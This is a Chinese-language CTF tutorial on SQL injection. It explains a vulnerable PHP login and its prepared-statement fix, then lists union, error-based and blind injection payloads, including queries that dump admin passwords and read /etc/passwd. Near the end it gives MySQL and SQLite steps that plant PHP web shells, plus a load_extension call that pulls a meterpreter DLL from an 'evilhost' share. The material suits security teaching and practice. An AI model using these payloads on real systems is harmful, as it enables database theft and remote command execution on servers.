SQL基本语法 #
SQL是Structured Query Language的缩写,意思是结构化查询语言,是一种在数据库管理系统(Relational Database Management System, RDBMS)中查询数据,或通过RDBMS对数据库中的数据进行更改的语言。
在CTF比赛中,最常见的RDBMS是MySQL、SQLite
以MySQL为例,SQL基本语句:
-- 创建数据库
CREATE DATABASE shop;
-- 创建数据表
CREATE TABLE Product
(
product_id CHAR(4) NOT NULL,
product_name VARCHAR(100) NOT NULL,
PRIMARY KEY (product_id)
);
-- 插入语句
INSERT INTO product VALUES (1, 'Apple');
-- 删除语句
DELETE FROM product WHERE id = 1;
-- 更新语句
UPDATE product SET name = 'Pear' WHERE id = 1;
-- 查询语句
SELECT * FROM product WHERE id = 1;
SELECT id FROM product WHERE name = 'Pear';
ctf web题目中出现频率比较高的利用语句是查询语句,获取文件系统中的flag文件内容,或者某数据库表中的flag数据
漏洞产生原因及修复方式 #
直接把「用户的输入」拼接到SQL语句中,没有对输入进行过滤或者对SQL进行预编译。「用户的输入」改变了原本SQL的语意,额外执行了其他SQL语句。
举一个网站登陆的例子,假设实现如下:
$name=$_POST['username'];
$pass=$_POST['password'];
$sql="SELECT * FROM users WHERE name='$name' and pass='$pass'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// 登陆成功
} else {
// 登陆失败
}
如果用户输入的 username
为 admin
,password
内容为 ' or '1'='1
,最终执行的查询语句就成为了
SELECT * FROM users WHERE name='admin' and pass='' or '1' = '1'
「用户的输入」改变了原本SQL的语意,会触发登陆成功的逻辑
可以使用预处理修复上面的漏洞
$name=$_POST['username'];
$pass=$_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE name = ? AND pass = ?");
$stmt->bind_param("ss", $name, $pass);
$stmt->execute();
$stmt->store_result();
if ($stmt->num_rows > 0) {
// 登陆成功
} else {
// 登陆失败
}
合理的使用预处理能够解决SQL注入问题,因为其工作原理是:
将SQL命令与数据分离,在语句实际执行前,先对SQL语句进行编译和优化,这个阶段就确定了SQL的语意(词法分析,语法分析),后续通过参数绑定提供占位符的实际值,可以改变参数,实现只编译一次,但可以多次执行
但是也是要注意正确使用预处理,$conn->prepare("SELECT * FROM users WHERE name = ? AND pass = ?");
预处理语句自身不要再使用字符串拼接用户输入部分,不然就无意义了
SQL注入种类 #
判断注入点 #
用于快速判断参数是否存在sql注入点并判断注入类型:
- 假设网站原sql语句(字符串型):
$sql="SELECT * FROM users WHERE name='$name' and pass='$pass'";
则 ?name=zqq&pass=1' or '1'='1
- 假设网站原sql语句(整数型):
$sql="SELECT * FROM users WHERE id=$id;
则 ?id=-1 or 1=1
网上也称万能密码,但是更要理解其原理
同时为了更好的闭合原sql语句,可能需要加上注释,SQL注释主要有以下3种:
-- 这是一个单行注释
SELECT * FROM users; -- 这也是注释
# 这是一个单行注释
SELECT * FROM users; # 这也是注释
/* 这是一个
多行注释 */
SELECT * FROM users;
url传递注释-- +
中的+
urldecode时会被替换为空格,又因为url中的#
起anchor的作用,不会实际传递给后端服务器,所以需要对#
urlencode = %23
联合注入 #
联合注入依靠页面返回有特定的回显,利用union select
且短路原sql语句,额外带出想要的数据并显示在页面中
假设页面中返回了name
信息,我们推测网站原sql语句如下,
SELECT id, name, pass FROM users WHERE name='$name' and pass='$pass'";
则联合注入的工作思路是:
?name=zqq&pass=-1' ordey by 1 # 2,3,4 ... 确定列数
?name=zqq&pass=-1' union select 1,2,3; # 返回想要的数据,注意-1 让 union select 左边无数据返回
堆叠注入 #
输入多条用分号(;)分隔的 SQL 语句时,这些语句通常会按照它们出现的顺序依次执行。堆叠注入一般也是要依靠网页有回显利用。
报错注入 #
报错注入是利用SQL语句执行报错且报错信息回显于页面中
XPATH syntax 报错 #
在mysql(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
- updatexml: 对 XML 数据进行修改。它接收一个原始 XML 字符串,一个 XPath 表达式以定位需要修改的部分,以及一个新的 XML 片段来替换旧的部分
SELECT updatexml('<Person><Name>John Doe</Name><Age>30</Age></Person>', '//Name', '<Name>Jane Doe</Name>');
<Person><Name>Jane Doe</Name><Age>30</Age></Person>
- extractvalue: 用于从 XML 文本中提取数据。它接收一个 XML 字符串和一个 XPath 表达式作为参数,并返回 XPath 表达式指定的 XML 文档部分的内容
SELECT extractvalue('<Person><Name>John Doe</Name><Age>30</Age></Person>', '//Name');
John Doe
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错
select 1 and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))));
select 1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3));
Duplicate entry-floor函数报错 #
可以利用floor()这个函数触发Duplicate entry报错,该报错在MySQL的 5.0 版本及以上版本都可以使用,但是在8.0版本已失效
select count(*),floor(rand(0)*2) x from users group by x;
select count(*),concat(database(),floor(rand(0)*2)) as x from information_schema.tables group by x;
注意相关表中需要有3条数据,才能触发报错
原理解析参看这篇博客,关键要理解floor(rand(0)*2)
被执行多次的含义
盲注 #
盲注相较于上述注入种类,无法获得回显信息,页面无任何信息返回,或者页面只有2种显示状态的区别,观察应用程序的响应时长或页面区别来确定注入是否成功,以及探测数据库中的数据。
盲注的两种主要形式是:
- 基于布尔的盲注(Boolean-based Blind Injection): 基于布尔条件的判断来获取有关数据库内容的信息,尝试不同的条件并根据应用程序的响应来验证其正确性。
?id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) = 97
?id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='public') > 10
?id=1 AND LENGTH((SELECT database())) = 6
- 基于时间的盲注(Time-based Blind Injection): 使用延时函数或计算耗时操作,以观察应用程序对恶意查询的处理时间。通过观察响应时间的变化,攻击者可以逐渐推断数据库中的数据。
id=1; IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), NULL)
-- time-consuming operation (BENCHMARK) that calculates the MD5 hash of the string 'a' 10,000,000 times.
id=1; IF((SELECT ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1))) = 97, BENCHMARK(10000000, MD5('a')), NULL)
盲注需要搭配自动化的工具不断调整输入探测数据,可以使用Burp Suite
或者SQLMap
获取表结构等信息 #
整理获取特定信息SQL语句,主要针对MySQL
和SQLite
2种类型
MySQL #
获取版本
select version();
information_schema
是mysql自带的一个数据库,包含了各种原数据,可以获取以下信息
获取所有databases
select group_concat(schema_name) from information_schema.schemata;
show databases;
获取当前database
select database()
获取当前数据库的所有表tables
select group_concat(table_name) from information_schema.tables where
table_schema = database()
获取某个表的所有columns
select group_concat(column_name) from information_schema.columns where
table_schema = database() and table_name = 'users'
获取某个表中的数据
select group_concat(id,':',username,':',password) from users
读写文件
show global variables like '%secure_file_priv%';
-- secure_file_priv NULL 表示不可用, 空 表示可用
-- 在 MySQL 5.5.3 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件;近一步限制可以设置更具体的路径,比如/usr/
-- 在 MySQL 5.5.3 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
select load_file('/etc/passwd');
-- 需要写入文件不存在
select '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/shell.php';
SQLite #
数据库结构
SELECT sql FROM sqlite_schema
-- if sqlite_version > 3.33.0
SELECT sql FROM sqlite_master
表名
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
列名
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
命令执行
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');
详细可以参看